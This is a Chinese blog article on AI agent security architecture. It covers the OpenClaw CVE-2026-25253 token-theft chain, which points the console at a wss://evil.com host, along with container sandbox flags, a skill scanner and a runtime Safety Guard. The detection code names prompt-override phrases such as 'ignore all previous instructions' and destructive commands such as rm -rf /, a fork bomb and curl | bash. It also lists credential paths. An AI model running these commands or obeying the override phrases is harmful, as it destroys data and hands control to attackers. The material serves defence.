Hermes Agent 深度剖析(5/7):安全架构——从容器沙箱到人在回路,Agent 的破坏半径怎么压到最小

简介: 一个能执行 Shell、能读写文件、能装社区技能的 Agent,本质上是一台接在聊天窗口后面的远程终端。2026 年初 OpenClaw 的 CVE-2026-25253(CVSS 8.8)让人看清了这件事:点一个恶意链接就可能丢整台机器。本文复盘这个漏洞的真实成因,然后逐层拆 Hermes Agent 的五层防护——容器沙箱、技能扫描、Safety Guard、人在回路、本地模型,最后给一套可以直接抄的生产部署配置。

摘要:一个能执行 Shell、能读写文件、能装社区技能的 Agent,本质上是一台接在聊天窗口后面的远程终端。2026 年初 OpenClaw 的 CVE-2026-25253(CVSS 8.8)让人看清了这件事:点一个恶意链接就可能丢整台机器。本文复盘这个漏洞的真实成因,然后逐层拆 Hermes Agent 的五层防护——容器沙箱、技能扫描、Safety Guard、人在回路、本地模型,最后给一套可以直接抄的生产部署配置。

这是「Hermes Agent 深度剖析」系列的第 5 篇,全系列 7 篇:

01 总览:25 万 Star 的自改进 Agent 到底强在哪
02 三层记忆架构:会话记忆、持久记忆与用户模型怎么分工
03 技能学习闭环:Agent 怎么自己写技能文档
04 多平台网关:一个进程接住 16 个消息平台
05 安全架构:容器沙箱、技能扫描与人在回路(本文)
06 从零到生产:四种部署方式与成本账
07 vs OpenClaw:十二个维度的选型对比


一、Agent 的"危险三角":为什么它不是 Web 应用的子集

传统 Web 应用的安全模型建立在一个隐含前提上:代码是我写的,逻辑是确定的。你审计完 SQL 注入和 XSS,剩下的风险基本可控。

Agent 打破了这个前提。三个要素叠加,构成了一个传统安全框架没覆盖的组合:

要素 含义 后果
自主决策权 Agent 能自己决定执行什么命令、请求什么 URL、写哪个文件 攻击者不需要直接调用 API,只要能影响"决策"就行
工具接入面 Shell、文件系统、浏览器、数据库、第三方 API 攻击面 = 所有工具权限的并集
LLM 不可控性 输出是概率性的,可被注入、可幻觉、可越狱 输出天然不可信,不能当代码对待

对比一下差异:

维度 传统 Web 应用 AI Agent
攻击面 HTTP 端点(可枚举) Shell、文件、网络、数据库、浏览器
决策主体 确定性代码 概率性推理
权限边界 RBAC 明确 通常以当前用户身份裸奔
主要攻击向量 SQL 注入、XSS、CSRF Prompt 注入、工具滥用、技能供应链投毒
审计难度 日志体系成熟 行为链散落在多轮推理中

我的看法是:Agent 安全的本质不是"防住攻击者",而是"限制被攻破后的破坏半径"。因为只要 Agent 还在读外部内容(网页、邮件、他人消息、社区技能),Prompt 注入就有无穷多种实现方式,你不可能全防住。真正能守住的是第二道防线——即使它被骗了,也做不了太坏的事。

二、CVE-2026-25253:一个链接换一台机器

2026 年初披露的这个漏洞(代号 ClawJacked,CVSS 8.8,影响 2026.1.29 之前所有版本,CNVD-2026-13289)值得仔细看,因为它的成因和很多人想象的不一样。

它不是"LLM 被诱导执行了恶意命令",而是控制端 UI 对 URL 参数的过度信任。

攻击链路(CWE-669:跨域资源传输不当):

1. 攻击者构造链接:https://<受害者本机的 OpenClaw 控制台>?gatewayUrl=wss://evil.com
2. 控制端前端从查询字符串读取 gatewayUrl,未做校验
3. 前端自动向该地址建立 WebSocket 连接
4. 握手时,前端把 localStorage 里的 authToken 一并发送
5. 攻击者拿到 token → 直接调用 Gateway API → 以合法设备身份执行任意 Shell 命令

关键点在于:受害者只需要点一下链接,不需要安装任何东西,也不需要模型被"说服"。

这暴露的三类设计缺陷,对任何做 Agent 的人都适用:

缺陷 具体表现 正确做法
信任链过长 前端信任 URL,后端信任 WebSocket 连接 每一跳都要重新校验,尤其是跨信任域的
凭据自动附加 建立连接时自动发送长期令牌 令牌绑定目标地址,跨源不发送
缺少纵深防御 拿到 token 即等于拿到一切 高危操作二次确认,权限按需授予

同一个时期,OpenClaw 还披露了多个高危问题:

编号 评分 问题 影响
CVE-2026-25253 8.8 gatewayUrl 参数未校验,跨站 WebSocket 劫持窃取 token 一键 RCE
CVE-2026-25157 8.1 某 API 端点参数未过滤,可注入命令 无认证宿主机命令执行
CVE-2026-32922 9.9 低权限令牌可提权到管理员 所有已连接节点 RCE
CVE-2026-28363 — 白名单校验的语义盲区 授权绕过
CVE-2026-44113 7.7 文件系统桥接的 TOCTOU 竞态 读取挂载根之外的文件

外加 2026 年 2 月的 ClawHavoc 供应链投毒事件:ClawHub 市场上被植入上千个恶意技能,影响十余万台设备。这条正好说明:光管住代码不够,技能生态本身就是一个攻击面。

三、五层纵深防御:每一层独立失效

Hermes 的安全设计不复杂,就是经典的纵深防御,但每层都有明确的职责边界:

Layer 1  模型层隔离    → 敏感数据用本地 Ollama,数据不出本机
   ↓
Layer 2  运行时沙箱    → cap-drop=ALL + no-new-privileges + pids-limit
   ↓
Layer 3  技能审查      → 四维扫描:数据泄露 / 注入 / 破坏性命令 / 供应链
   ↓
Layer 4  行为过滤      → Safety Guard:输入过滤 + 输出过滤 + 审计
   ↓
Layer 5  人在回路      → 高风险操作二次确认,随时可中止

配套的四条设计原则:最小权限(默认拒绝,显式授权)、默认安全(开箱即加固,不靠用户自觉)、纵深防御(单点失效不影响整体)、可审计(行为链可回溯)。

第 2 条最容易被忽视。安全领域有个残酷的规律:"默认不安全"等于"不安全"——因为绝大多数用户不会主动加固。

四、Layer 2:容器沙箱,把 Agent 关进笼子

官方 Docker 部署配置只有短短几行,但每一行都有明确的安全语义:

docker run -it \
  --shm-size=1g \
  --cap-drop=ALL \
  --security-opt=no-new-privileges \
  --pids-limit=100 \
  -v ~/.hermes:/root/.hermes \
  nousresearch/hermes-agent:latest

4.1 --cap-drop=ALL:斩断权限触手

Linux capabilities 把 root 的超级权限拆成细粒度单元。Docker 默认保留 14 种,其中几种危险度极高:

Capability 风险 能干什么
CAP_SYS_ADMIN 极高 挂载文件系统、容器逃逸
CAP_SYS_MODULE 极高 加载内核模块
CAP_NET_RAW 高 原始套接字、ARP 欺骗
CAP_SYS_PTRACE 高 注入其他进程、读内存
CAP_DAC_OVERRIDE 中 绕过文件权限检查

--cap-drop=ALL 一次全清,需要什么再单独加。落地效果很直接:

$ mount /dev/sda1 /mnt
mount: permission denied
$ iptables -L
iptables: Permission denied (you must be root)
$ insmod evil.ko
insmod: ERROR: could not insert module evil.ko: Operation not permitted

4.2 --security-opt=no-new-privileges:锁死提权路径

它阻止进程通过 setuid/setgid 获取新权限。容器里就算有 SUID 的 sudo,也用不了:

传统容器:  sudo rm -rf /   → 以 root 执行
Hermes:    sudo rm -rf /   → sudo: effective uid is not 0

和 --cap-drop=ALL 是互补关系:一个阻止拿到新 capabilities,一个阻止滥用已有的。

4.3 --pids-limit=100:防 Fork 炸弹

:(){ :|:& };:

没有 PID 限制时,这个一行命令会耗尽宿主机 PID,连带干掉同主机的其他容器。限制 100 之后,炸弹只能炸掉自己的配额。

4.4 加固程度对比

配置 常见默认 Hermes 默认
Capabilities 保留 14 种 --cap-drop=ALL
权限提升 允许 setuid no-new-privileges
PID 数量 无限制 100
根文件系统 可写 推荐只读
seccomp Docker 默认 profile 推荐自定义白名单

我的看法:--cap-drop=ALL 是整个容器安全里最被低估的一行参数。它不花钱、不影响性能、不会让功能跑不起来(大多数 Agent 根本用不到这些 capability),但它把"容器逃逸"这个最坏结果的门槛抬高了一个数量级。

五、Layer 3:技能扫描,给社区技能设一道安检门

技能共享是 Hermes 的核心优势,也是它最大的新增攻击面。ClawHavoc 事件已经把这条路走通了一遍:恶意技能 = 供应链投毒,跟 npm 的 event-stream、PyPI 的恶意包是同一类问题,只不过载荷从代码变成了自然语言指令。

扫描器从四个维度过一遍:

维度 扫描什么 典型规则
数据泄露 技能里硬编码的凭据 API Key、密码、私钥、含凭据的数据库连接串、疑似卡号
Prompt 注入 试图劫持 Agent 行为的语句 "ignore all previous instructions"、"you are now DAN"、"SYSTEM OVERRIDE"、零宽字符与同形异义字
破坏性命令 高危 Shell 模式 rm -rf /、dd if=..of=/dev/、mkfs.、fork 炸弹、chmod -R 777 /
供应链 依赖与引用链 外部 URL 域名信誉、依赖包已知漏洞、混淆脚本、许可证冲突

规则示例(节选):

critical:
  - pattern: '(?i)(api[_-]?key|access[_-]?token)\s*[:=]\s*\S+'
    message: "硬编码 API 密钥"
  - pattern: '\b\d{16,19}\b'
    message: "疑似信用卡号"
  - pattern: '(?i)(jdbc|mysql|postgresql|mongodb|redis)://[^/\s]+:[^@\s]+@'
    message: "含凭据的连接串"
  - pattern: '-----BEGIN (RSA |EC )?PRIVATE KEY-----'
    message: "私钥"
destructive = {
   
  "critical": [r"\brm\s+-rf\s+/", r"\bdd\s+if=.*of=/dev/", r"\bmkfs\.",
               r"\bchmod\s+-R\s+777\s+/", r":\(\)\s*\{.*:\|:&"],
  "high":     [r"\bcurl[^|]*\|\s*(bash|sh|zsh)", r"\bwget[^|]*\|\s*(bash|sh)",
               r"\beval\s*\(", r"\bexec\s*\("],
  "medium":   [r"\bdocker\s+run[^\n]*--privileged", r"\biptables\s+-F", r"\bkill\s+-9\s+-1"],
}

5.1 自动化扫描的边界在哪里

这一层必须说清它的局限,否则会给人虚假的安全感:

能检出 检不出
硬编码密钥、危险命令 隐式的业务逻辑泄露(技能里描述了内部架构)
明显的指令覆盖与上下文逃逸 新颖的注入手法
已知恶意域名、已知漏洞包 语义层面恶意但形式合法的内容

我的判断:技能扫描器是"快速过滤层",不是"安全保证"。它能挡掉 90% 的低质量恶意技能,剩下 10% 需要运行时行为和人工判断来兜底——这也正是下面两层存在的理由。

六、Layer 4:Safety Guard,不信任 LLM 的每一个输出

Safety Guard 的定位是"运行时免疫系统",在三个位置设卡:

用户输入 → [输入过滤] → LLM 推理 → [输出过滤] → 工具执行 → [行为审计] → 回复
                ↓拦截                  ↓拦截            ↓异常
              拒绝                   拒绝            告警

6.1 输入过滤:在到达模型之前

class InputSafetyGuard:
    KEYWORDS = ["ignore all previous instructions", "you are now dan",
                "system override", "jailbreak", "do anything now",
                "<script>", "<?php", "${jndi:"]
    PATTERNS = [
        r"(?i)ignore\s+(all\s+)?(previous|prior|above)\s+(instructions?|prompts?)",
        r"(?i)you\s+are\s+now\s+(dan|jailbroken|unrestricted)",
        r"(?i)forget\s+(everything|all)\s+(you\s+know|above)",
    ]

    def check(self, text: str) -> bool:
        low = text.lower()
        if any(k in low for k in self.KEYWORDS):
            return False
        if any(re.search(p, text) for p in self.PATTERNS):
            return False
        if self.has_unicode_anomaly(text):   # 零宽字符、同形异义字、方向控制符
            return False
        if self.looks_obfuscated(text):      # Base64/十六进制大块载荷
            return False
        return True

6.2 输出过滤:在工具执行之前

这一层才是真正兜底的地方——假设输入过滤被绕过,模型已经被骗了,那么它生成的工具调用必须再过一遍:

BLOCKED = {
   
    "critical": ["rm -rf /", "mkfs.", "dd if=", ":(){ :|:& };:"],
    "high":     ["chmod 777", "curl | bash", "wget -O - | sh", "eval("],
    "medium":   ["docker run --privileged", "iptables -F", "kill -9 -1"],
}
SENSITIVE_PATHS = ["/etc/shadow", "/etc/passwd", "/root/.ssh",
                   "/proc/", "/sys/", "~/.aws/", "~/.gcloud/"]

除了命令黑名单,还有两条检查:敏感路径访问(上面这些)和内网目标(SSRF 防护,请求打到内网地址或云厂商元数据端点时拦掉)。

6.3 行为审计:留下可回溯的链

每次工具执行落一条结构化日志:

{
   
  "timestamp": "2026-05-07T14:32:18.421Z",
  "event_type": "tool_execution",
  "action": {
    "tool": "shell_exec", "command": "git status --porcelain", "duration_ms": 234 },
  "safety_check": {
    "input_filtered": true, "output_filtered": true, "risk_score": 0.05 },
  "context": {
    "trigger_message": "帮我看看当前 git 状态", "skill_loaded": null, "model": "claude-sonnet-4.6" },
  "result": {
    "exit_code": 0 }
}

四个设计要点值得抄:追加写入不可篡改、包含触发消息与加载技能的完整上下文、每条都有量化风险评分、JSON 结构可直接接 SIEM。

为什么审计这么重要?因为 Agent 出事之后,你面对的问题不是"有没有日志",而是"能否重建它的决策链"——它为什么这么想、加载了哪个技能、看过哪些外部内容。没有这条链,事后分析基本无从下手。

七、Layer 5:人在回路,成本最低也最有效的一层

自动化能过滤 99%,剩下 1% 的破坏力最大。Hermes 的做法是按风险分级触发确认:

操作类型 风险 确认内容
外部 HTTP 请求 中 目标 URL + 请求体
Shell 命令执行 中-高 完整命令 + 工作目录
文件删除 高 文件路径清单
数据库写操作 高 SQL 语句 + 影响行数预估
代码部署 极高 diff + 部署目标
权限变更 极高 变更前后对比
RISK = {
   
    "http_request": MEDIUM, "database_write": HIGH, "file_delete": HIGH,
    "shell_exec": MEDIUM, "code_deploy": CRITICAL, "permission_change": CRITICAL,
}

def should_confirm(tool, params):
    risk = RISK.get(tool, LOW)
    if risk == LOW:
        return None
    return ConfirmationRequest(tool=tool, risk_level=risk,
                               details=params, requires_explicit_approval=risk >= HIGH)

除了"事前确认",还有"事中干预":发 STOP / 停止 立刻中止,发 wait 暂停等待,发修正指令让 Agent 调整路径。前者是刹车,后者才是方向盘。

7.1 确认疲劳:HITL 的真实成本

我必须指出这一层的副作用。过度确认会导致"确认疲劳"——用户机械点同意,安全性反而归零,还多花了时间。四个缓解办法:

  1. 只对高风险操作触发,别什么都问
  2. 确认提示里给足上下文,让用户 3 秒能判断
  3. 一系列相关的低风险操作合并成一次确认
  4. 对用户反复批准的同类型操作,逐步降低打扰频率

八、Layer 1:本地模型,给敏感数据物理隔离

敏感数据的困境很现实:用云端模型,数据离开控制域;不用 AI,效率归零;而 GDPR、等保这类合规要求可能直接禁止出境。

Hermes 支持通过 Ollama 跑本地模型,并且可以按任务类型路由:

# ~/.hermes/config.yaml
models:
  primary:
    provider: openrouter
    model: anthropic/claude-sonnet-4.6
  sensitive:
    provider: ollama
    model: qwen3:14b
    endpoint: http://localhost:11434

routing:
  - pattern: "*.internal.company.com"
    model: sensitive
  - pattern: "含敏感关键词的任务"
    model: sensitive
  - default: primary
ollama pull qwen3:14b
hermes start
# → 检测到 Ollama 运行中 → 敏感任务自动路由本地 → 数据不出本机

权衡很清楚:

云端模型 本地模型
能力 强 中等
数据位置 离开控制域 不出本机
合规 受第三方政策约束 可满足最严格要求
成本 按量计费 一次性 GPU 投入
延迟 网络往返 本地推理

我的判断:本地模型不是云端的替代,是互补。混合路由——日常任务走云端、敏感任务走本地——是当下最务实的方案。随着 14B 级别模型能力继续上台阶,这条边界会一直向本地移动。

九、生产部署:一套可以直接抄的配置

把前面几层落地成一条命令:

docker run -d --name hermes-agent --restart=unless-stopped \
  --user 1000:1000 \
  --memory="2g" --memory-swap="2g" --cpus="2" --pids-limit=100 --shm-size=1g \
  --cap-drop=ALL \
  --security-opt=no-new-privileges \
  --security-opt=seccomp=/data/hermes/seccomp.json \
  --read-only \
  --tmpfs /tmp:rw,noexec,nosuid,size=256m \
  --tmpfs /run:rw,noexec,nosuid,size=64m \
  --network=hermes-net \
  -v /data/hermes/config:/home/hermes/.hermes:ro \
  -v /data/hermes/data:/home/hermes/.hermes/data \
  -v /data/hermes/logs:/home/hermes/.hermes/logs \
  -v /data/hermes/skills:/home/hermes/.hermes/skills:ro \
  --log-driver=json-file --log-opt max-size=10m --log-opt max-file=3 \
  nousresearch/hermes-agent:latest

每个参数的安全收益:

配置 作用 挡住了什么
--user 1000:1000 非 root 运行 容器逃逸后也拿不到 root
--read-only 根文件系统只读 恶意代码写不进系统目录
--tmpfs /tmp:noexec 内存临时目录且不可执行 落地脚本无法执行
seccomp 白名单 只放行必要系统调用 绕过 capabilities 也调不到危险 syscall
--memory / --cpus 资源上限 内存耗尽、CPU 打满
--network=hermes-net 独立桥接网络 缩小横向移动范围
config:ro 配置只读挂载 Agent 改不了自己的安全配置

配套的三件事:

出站白名单。 默认拒绝,只放行必要域名:

iptables -I FORWARD -s 172.28.0.2 -d api.openai.com -j ACCEPT
iptables -I FORWARD -s 172.28.0.2 -d api.anthropic.com -j ACCEPT
iptables -I FORWARD -s 172.28.0.2 -j DROP

告警规则。 至少盯四个指标:

告警 条件 含义
高风险操作 风险评分 > 0.7 持续 1 分钟 Agent 行为异常
拦截率突增 5 分钟内拦截速率 > 0.1/s 可能正在被持续攻击
进程数接近上限 pids / limit > 0.8 疑似 fork 炸弹或死循环
提权尝试 1 小时内出现被拦截的提权 沙箱正在被试探

定期审计节奏。 每周看审计日志与拦截率波动;每月更新镜像、复查技能扫描报告、验证备份恢复;每季度做一次针对自己的 Prompt 注入测试、检查依赖 CVE;每年做一次架构评审与合规审计。

最后一条我想强调:自己攻击自己是最便宜的安全测试。拿十条经典的注入话术去喂你的 Agent,看它是否真的会照着做。这件事一个人一下午就能做完,性价比远高于读十篇安全文章。

十、总结

Hermes 的安全体系不是"没有漏洞",而是把"被攻破之后的破坏半径"压到了最小。

关键要点:

  1. Agent 安全的核心是限制破坏半径,不是阻止所有注入。只要 Agent 还读外部内容,注入就不可能清零。
  2. CVE-2026-25253 的教训不是"模型危险",而是"信任边界画错了"——前端相信 URL 参数,后端相信 WebSocket 连接,一个链接就能换一台机器。
  3. 沙箱是最便宜的防线:--cap-drop=ALL + no-new-privileges + --pids-limit 三行参数,把逃逸成本抬高一个量级。
  4. 技能是新的供应链,ClawHavoc 已经演示过一次。四维扫描能挡大部分,但挡不住语义层面的恶意。
  5. HITL 要防确认疲劳,风险分级 + 上下文摘要 + 批量合并,比"什么都问一遍"更安全。
  6. 本地模型是数据合规的唯一硬解法,混合路由是当下的最优工程妥协。

我的最终判断是:Hermes"至今无公开 CVE"的记录,有一部分来自"后发优势"——它可以看到 OpenClaw 踩过的坑并且提前绕开。真正的考验还没来:当出现全新的攻击向量(多 Agent 协作的信任链、技能互相调用的越权、自主决策加强后的 HITL 失效),这套五层结构是否同样有效?

给中高级开发者的建议,就三条:把 LLM 输出当成不可信的外部输入;从第一天就上沙箱,而不是出事之后再补;保留人类刹车,但要设计得足够省心。


上一篇:多平台网关:一个进程接住 16 个消息平台

下一篇:《从零到生产:四种部署方式与成本账》——本地、Docker、SSH、Serverless 各自适合谁,一个月要花多少钱,模型怎么选。

延伸阅读

这套「拆开源 Agent 源码」的连载还剩两篇。也想听听你的场景:你的 Agent 现在跑在什么权限下?如果它今天被 Prompt 注入成功,最坏情况会丢什么——一段对话、一个仓库,还是一整台机器?

相关文章
|
22天前
|
消息中间件 存储 安全
Hermes Agent 深度剖析(4/7):多平台网关——一个进程接住 16 个消息平台
一个 Agent 要同时接住 Telegram、Discord、Slack、WhatsApp、Signal、Matrix、CLI 十几个入口,最省事的做法是上消息队列,把每个平台当成独立服务。Hermes Agent 反其道而行:所有平台连接塞进同一个进程。本文拆它为什么敢这么做、八段消息管道怎么走、会话路由的 30 分钟窗口是什么、能力协商如何把说什么和怎么说拆开。
|
22天前
|
缓存 安全 Docker
Hermes Agent 深度剖析(1/7):25 万 Star 的自改进 Agent 到底强在哪
Hermes Agent 是 Nous Research 开源的"自改进"Agent,开源半年 25.7 万 Star。本文拆解它的三层记忆、agentskills.io 技能标准与闭环学习机制,指出它和 OpenClaw 的根本差别,并给出三条上手命令。
|
缓存 安全 开发者
Hermes Agent 深度剖析(3/7):技能学习闭环——工具调用超过 5 次,它就自己写文档
传统 Agent 每完成一次任务,经验就随上下文蒸发。Hermes 在循环里插了一步文档化:工具调用达到 5 次就自动生成 SKILL.md,下次先检索再执行。本文拆五步闭环、技能格式、渐进式加载的 token 账和技能生命周期。
|
存储 运维 搜索推荐
Hermes Agent 深度剖析(2/7):三层记忆架构——会话、持久与用户模型怎么分工
大部分 Agent 的记忆只是更长的对话历史。Hermes 把它拆成三层:会话记忆管当下、FTS5 持久记忆管跨会话检索、用户模型从行为推断画像。本文拆技术选型、数据流转与失效边界,并横向对比 LangChain 和 OpenAI Assistants。
|
运维 安全 NoSQL
Hermes Agent 深度剖析(7/7):vs OpenClaw——十二个维度的选型对比,和三个必须先核实的事实
Hermes Agent 和 OpenClaw 常被放在一起比,但网上流传的对比表格里有一半数据是错的。本文先把 Star、版本号、CVE 三类事实校准一遍,再按架构、记忆、技能、安全、部署、成本六个维度逐项对比,最后给六个典型场景的选型建议。结论不是谁全面领先,而是它们解决的不是同一个问题。
|
22天前
|
安全 Serverless API
Hermes Agent 深度剖析(6/7):从零到生产——四种部署方式、三级模型配置与一张成本账
Hermes Agent 有四种部署方式:一行命令、Docker、5 美元 VPS、Modal Serverless。选错了不是「跑不起来」,而是踩进安全边界、成本曲线和运维复杂度三个坑。本文按决策、安装、配置、加固、成本、运维的顺序走一遍,每个决策点给出理由,最后给一张可以直接抄的决策速查表。
|
22天前
|
存储 人工智能 安全
阿里千问办公个人版和企业版有什么区别?企业版提供企业后台,个人版无需组织授权
阿里千问办公分个人版(含免费版)与企业版:个人版适配单人高效办公,注册即送2000积分;企业版支持席位管理、统一积分池、VPC安全部署及后台管控,满足组织级合规与协作需求。
430 2
|
22天前
|
弹性计算 人工智能 Linux
新手入门指南:阿里云新人特惠服务器低至38元/年,手把手教你领资格、选机型、搭环境
作为新手,‌强烈建议从阿里云轻量应用服务器起步‌,用 38 元的成本快速建立对云计算的直观认知。等你熟悉了基本操作,再根据业务增长情况考虑升级到 ‌阿里云ECS云服务器‌,或者在有明确 AI 需求时入手 ‌阿里云GPU服务器‌。 机会难得,新人特惠名额有限,赶紧去阿里云官网申领你的第一台云服务器吧!
318 1
|
6月前
|
人工智能 JSON 安全
[理论篇-8]MCP协议详解
用最直白的话讲清楚 MCP 是什么、为什么 2025 年它突然成为 AI 行业最热的协议、以及它会怎么改变你和 AI 工具的相处方式——不管你是开发者、产品经理、还是只想用好 AI 的普通用户。
1036 1
|
12月前
|
机器学习/深度学习 人工智能 安全
大模型训练的双引擎:自监督学习与强化学习
自监督学习从无标签数据中自我学习,降低标注成本;强化学习通过环境交互试错优化决策。二者结合实现高效、安全、对齐人类价值观的智能系统,推动AI迈向通用化与实用化新阶段。